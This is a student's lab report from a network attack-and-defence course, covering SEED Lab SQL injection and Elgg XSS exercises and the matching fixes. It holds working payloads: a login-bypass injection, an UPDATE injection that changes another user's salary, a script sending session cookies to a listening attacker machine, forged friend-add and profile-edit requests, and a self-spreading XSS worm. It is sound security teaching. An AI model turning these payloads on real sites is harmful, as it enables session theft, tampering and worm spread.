20252802 2025-2026-2 《网络攻防实践》实践十报告
1. 实践内容
本次实践围绕 Web 安全两大核心漏洞——SQL 注入(SQL Injection)与跨站脚本攻击(XSS)展开,依托 SEED Ubuntu 16.04 虚拟实验环境,分别完成攻击利用与防御加固两个维度的实验内容。
1.1 SQL 注入攻击与防御实验
- 熟悉 SQL 语句:登录 MySQL 数据库,查看 Users 数据库中的 credential 表结构及数据,掌握基础查询语法。
- SELECT 语句注入:分析 unsafe_home.php 源码,利用字符型注入漏洞,构造 Admin'# 等 Payload 绕过登录认证,理解服务端拼接 SQL 语句的安全风险。
- UPDATE 语句注入:分析 unsafe_edit_backend.php 源码,在 nickname 字段注入恶意片段,闭合原 SQL 语句并篡改 WHERE 条件,实现越权修改其他用户(如 Admin)的薪资数据。
- 漏洞修复与防御:采用预编译语句(Prepared Statements)重构 unsafe_home.php 与 unsafe_edit_backend.php,将数据与代码分离,验证修复后原有注入 Payload 失效。
1.2 XSS 跨站脚本攻击实验(Elgg 平台)
- 反射/存储型 XSS 验证:在 Alice 个人资料的 Brief description 中注入 ,验证 Elgg 默认配置下存在存储型 XSS。
- Cookie 信息窃取:通过 alert(document.cookie) 弹窗展示会话凭证,并进一步利用
标签外带 Cookie 至攻击机 NC 监听端口(5555),实现隐蔽窃取。
- CSRF 与 XSS 结合利用:分析 Elgg 添加好友的 Ajax 请求参数,构造 XSS 脚本自动伪造 friend=45 的 GET 请求,使访问 Alice 主页的 Boby 自动添加 Alice 为好友。
- 受害者资料篡改:构造 POST 请求脚本,在 Boby 访问 Alice 页面时静默修改其个人简介为 "Hacked by 20252802mmy"。
- XSS 蠕虫编写:利用 document.getElementById("worm").innerHTML 获取自身脚本代码,通过 encodeURIComponent 编码后写入受害者资料,实现蠕虫的跨用户自我传播。
- XSS 防御:以管理员身份登录 Elgg 后台,启用 HTMLawed 插件对富文本输入进行过滤清洗,验证恶意
<script>标签被成功拦截。
2. 实践过程
2.1 实验环境准备
本次实验依托 SEEDUbuntu 虚拟机开展。由于早期版本的 Seed Ubuntu 9 存在组件老化及数据库缺失问题,我最终选用了 Seed Ubuntu 16.04 版本。根据实验考核规范,需将系统主机名更改为本人姓名拼音。
修改系统主机名配置文件:
sudo vim /etc/hostname
将内容替换为MMY
同步更新 hosts 映射文件:
sudo vim /etc/hosts
将 127.0.1.1 对应的主机名修改为 dyf。
2.2 SEED SQL 注入攻击与防御实验
2.2.1 熟悉 SQL 语句
首先通过命令行接入 MySQL 数据库:
mysql -u root -p
查看系统现有的数据库列表:
show databases;
切换至目标数据库并查看数据表:
use Users;
show tables;
检索 credential 表中的全量员工数据:
select * from credential;
针对特定用户(如 Boby)进行条件查询:
select * from credential where Name = 'Boby';
2.2.2 对 SELECT 语句的 SQL 注入攻击
本环节旨在绕过登录认证。访问 www.SEEDLabSQLInjection.com,在登录框随意输入数据并按 F12 抓取网络请求。
分析请求可知,后端处理逻辑位于 unsafe_home.php。查看其源码:
cd /var/www/SQLInjection/
cat unsafe_home.php
源码显示,后端直接将用户输入拼接到 SQL 语句中,未做任何转义或参数化绑定,导致典型的字符型注入漏洞。
在用户名输入框构造 Payload:
Admin'#
密码框随意输入(如 123)。
这里的注入原理是Admin‘用于闭合 SQL 语句中原来的用户名字符串,
而#用于注释掉后面的密码判断部分。
因此原本需要同时判断用户名和密码的 SQL 语句,被修改为只判断用户名是否为 Admin。只要数据库中存在 Admin 用户,就可以绕过密码验证。
点击登录后,可以看到成功进入系统。
2.2.3 对 UPDATE 语句的 SQL 注入攻击
首先进入个人资料编辑页面,随意修改某个字段并保存,同时使用浏览器开发者工具观察请求过程。
后端处理文件为 unsafe_edit_backend.php,查看其核心 UPDATE 逻辑:
cd /var/www/SQLInjection/
cat unsafe_edit_backend.php
由于 nickname 等字段直接参与 SQL 拼接,我们可以在 nickname 输入框注入恶意片段:
',Salary='20252802' where name='Admin'#
提交保存后,返回数据库验证 Admin 用户的薪资是否被篡改:
结果表明,攻击者可通过构造闭合语句,改变 UPDATE 的作用域,实现越权数据篡改。
2.2.4 SQL 对抗:修复 SQL 注入攻击漏洞
漏洞的根源在于“数据与代码未分离”。最有效的防御方案是采用预编译语句。
修复资料修改接口的 UPDATE 注入。修改 unsafe_edit_backend.php:
sudo vim /var/www/SQLInjection/unsafe_edit_backend.ph
将代码中的 UPDATE 逻辑替换为:
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=?;");
if (!$stmt) {
die("Prepare failed: " . $conn->error);
}
$stmt->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
}else{
// if passowrd field is empty.
$stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?;");
if (!$stmt) {
die("Prepare failed: " . $conn->error);
}
$stmt->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
}
if (!$stmt->execute()) {
die("Execute failed: " . $stmt->error);
}
$stmt->close();
$conn->close();
header("Location: unsafe_home.php");
exit();
防御验证:undefined再次尝试在 nickname栏修改,数据库中的薪资数据保持不变,昵称正常显示。
接着登录unsafe_home.php并修改代码:
sudo vim /var/www/SQLInjection/unsafe_home.ph
将 unsafe_home.php 中的查询逻辑重构为预编译模式:
// Sql query to authenticate the user
$stmt = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name=? and Password=?;");
if (!$stmt) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error preparing the query [' . $conn->error . ']\n');
echo "</div>";
}
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();
undefined
修改后如下图所示
修改之后可以看出再用原来的Admin'#账号进不去网站了,修复成功
undefined
2.3 SEED XSS 跨站脚本攻击实验 Elgg
2.3.1 发布恶意消息,显示警报窗口
访问 http://www.xsslabelgg.com,使用 Alice 账号,密码seedalice登录。
进入个人主页,点击 Edit profile,在 Brief description 字段注入基础 JS 代码:
<script>alert("20252802mmy");</script>
保存后页面立即弹出警告框,证实 Elgg 默认配置下存在存储型 XSS 漏洞。
2.3.2 弹窗显示 Cookie 信息
将注入代码修改为读取当前会话 Cookie:
<script>alert(document.cookie);</script>
undefined
刷新页面后,弹窗展示了包含 Elgg 会话标识的 Cookie 字符串。这表明 XSS 可直接窃取客户端敏感凭证。
2.3.3 窃取受害者的 Cookies
在攻击机终端开启 NC 监听(端口可自定义,此处使用 5555):
nc -l 5555 -v
在 Alice 的资料中植入外带 Cookie 的 Payload:
<script>
document.write('<img src=http://192.168.200.18:5555?c=' + escape(document.cookie) + '>');
</script>
切换至 Boby 账号(密码:seedboby)并访问 Alice 的主页。
此时回到攻击机终端,NC 成功接收到了 Boby 的 Cookie 数据。
2.3.4 成为受害者的朋友
利用 XSS 伪造 Ajax 请求,实现自动添加好友。首先手动添加一次好友并抓包,获取目标接口及参数(如 friend=45)。
先移除好友
undefined
在 Alice 的 About me 中植入自动加好友脚本:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
使用 Boby 访问 Alice 主页后,查看 Boby 的好友列表,发现 Alice 已被自动添加为好友。
访问前
访问后
2.3.5 修改受害者的信息
构造 POST 请求,在受害者访问页面时静默篡改其个人资料。在 Alice 的 About me 中注入以下代码:
<script type="text/javascript">
window.onload = function(){
var userName = elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var content = token + ts + "&name=" + userName + "&description=<p>Hacked by 20252802mm</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid = 44; // Alice的GUID
if(elgg.session.user.guid != aliceGuid){
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Boby 访问该页面后,其个人简介被强制修改为 "Hacked by 20252802 mmy"。
2.3.6 编写 XSS 蠕虫
为了实现跨用户传播,需让脚本在修改受害者资料时,将自身代码也写入受害者的资料中。在 Alice 页面注入蠕虫代码:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>20252802mmy"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Boby 访问后,其资料不仅被修改,且源码中已包含完整的蠕虫脚本。当其他用户访问 Boby 时,感染将继续扩散。
undefined
2.3.7 对抗 XSS 攻击
使用管理员账号(admin / seedelgg)登录 Elgg 后台 www.xsslabelgg.com/admin。
进入 Plugins 菜单,找到 HTMLawed 插件并将其状态切换为 Deactivate(即启用过滤功能)。
再次使用 Alice 账号在资料中输入 ,保存后访问页面,弹窗未再出现,恶意标签被成功清洗。
3. 学习中遇到的问题及解决
1.实验环境版本不匹配:早期 Seed Ubuntu 9 存在组件老化及数据库缺失问题,无法正常启动 MySQL 或访问实验站点。通过查阅 SEED Lab 官方文档,更换为 Seed Ubuntu 16.04 版本,该版本预装了完整的 LAMP 环境与实验所需数据库,问题得以解决。
2.SQL 注入 Payload 失效:初期在用户名框输入 Admin'# 后未能成功绕过登录,页面返回报错。检查 unsafe_home.php 源码中的 SQL 拼接逻辑,确认字段使用单引号包裹后,将 Payload 修正为 Admin' #,确保正确闭合并注释掉后续密码判断,最终成功绕过认证。
3.UPDATE 注入后数据未变化:在 nickname 栏注入后 Admin 薪资未更新。重新查看 unsafe_edit_backend.php 的 SQL 拼接结构,发现原语句中引号闭合不完整。修正 Payload 语法后重新提交,验证成功。
4. 实践总结
通过本次 SEED Lab 实验,我对 SQL 注入与 XSS 两大 Web 安全漏洞有了系统深入的理解。SQL 注入的本质在于数据与代码未分离,攻击者通过构造特殊字符改变查询逻辑,实现认证绕过与越权篡改;而 XSS 则是利用浏览器对不可信数据的盲目执行,造成会话窃取、强制操作乃至蠕虫传播。防御层面,预编译语句通过参数绑定从根本上杜绝了 SQL 注入,HTMLawed 等输入过滤插件则有效拦截了恶意脚本。本次实践让我深刻认识到,安全需在开发阶段前置考虑,攻防结合才能构建有效的纵深防御体系,也为后续渗透测试与安全开发学习奠定了坚实基础。
浙公网安备 33010602011771号